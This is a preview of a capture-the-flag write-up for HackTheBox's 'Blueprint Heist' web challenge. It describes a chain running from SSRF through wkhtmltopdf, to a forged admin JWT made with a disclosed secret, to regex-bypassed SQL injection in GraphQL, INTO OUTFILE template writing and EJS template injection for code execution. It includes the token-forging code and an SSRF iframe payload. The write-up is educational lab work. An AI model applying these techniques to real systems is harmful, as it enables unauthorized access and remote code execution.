Blueprint Heist
hackthebox
Task: Web app with wkhtmltopdf PDF generation, GraphQL API, JWT auth, and EJS templating. Solution: Chain SSRF via wkhtmltopdf to access internal GraphQL, bypass regex SQLi filter with newline, write malicious EJS template via INTO OUTFILE, trigger SSTI for RCE.
$ ls tags/ techniques/
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Blueprint Heist - HackTheBox Business CTF 2024
Description
Web application for Urban Planning Commission that allows viewing construction reports and downloading PDFs. Stack: Node.js/Express, EJS templating engine, GraphQL API, JWT authentication, wkhtmltopdf for PDF generation.
Analysis
Application Architecture
- Frontend: Express + EJS templates
- API: GraphQL endpoint
/graphql - Auth: JWT tokens with roles
- PDF: wkhtmltopdf for URL to PDF conversion
- DB: MySQL
Discovered Vulnerabilities
- SSRF via wkhtmltopdf - endpoint
/downloaduses wkhtmltopdf for URL to PDF conversion, allowing SSRF to localhost - JWT Secret Disclosure - production server uses a different secret:
Str0ng_K3y_N0_l3ak_pl3ase? - SQL Injection in GraphQL - query
getDataByNameis vulnerable to SQLi with regex bypass via newline - Server-Side Template Injection - EJS templates can execute arbitrary code
- File Write via SQLi - MySQL
INTO OUTFILEallows writing files to the server
Key Files from Source Code
app/utils/security.js - SQLi filter with regex bypass:
function detectSqli (query) { const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/ return pattern.test(query) } function checkInternal(req) { const address = req.socket.remoteAddress.replace(/^.*:/, '') return address === "127.0.0.1" }
app/schemas/schema.js - Vulnerable GraphQL query:
data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`);
app/controllers/downloadController.js - SSRF via wkhtmltopdf:
wkhtmltopdf(url, { output: pdfPath }, callback);
Solution
Step 1: JWT Secret Discovery
Source code contained placeholder secret IM_Sup3r_K3y_pl3ase_b3_c4r3ful?, but production used a different one.
Real secret: Str0ng_K3y_N0_l3ak_pl3ase?
import jwt secret = "Str0ng_K3y_N0_l3ak_pl3ase?" token = jwt.encode({"role": "admin"}, secret, algorithm="HS256") print(token) # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.rZnq-8kqh9o7rsIJket6BFk1lG6lH6VBTqGVLy65hzM
Step 2: SSRF for GraphQL Access
GraphQL endpoint requires requests from localhost (127.0.0.1). Using SSRF via wkhtmltopdf with iframe:
<!DOCTYPE html> <html> <body> <iframe src="http://localhost:1337/graphql?token=ADMIN_TOKEN&query=ENCODED_QUERY" width="1000" height="800"></iframe> </body> </html>
Host HTML on external server and load via /download endpoint.
...
$ grep --similar
Similar writeups
- [web][Pro]Lab 58 — ReportForge — SSRF via PDF Export Logo URL— hackadvisor
- [web][free]Dark Runes— HackTheBox
- [misc][free]Prison Pipeline— HackTheBox Business CTF 2024
- [web][free]Prison Pipeline— hackthebox_business_ctf_2024
- [web][Pro]BillForge— hackadvisor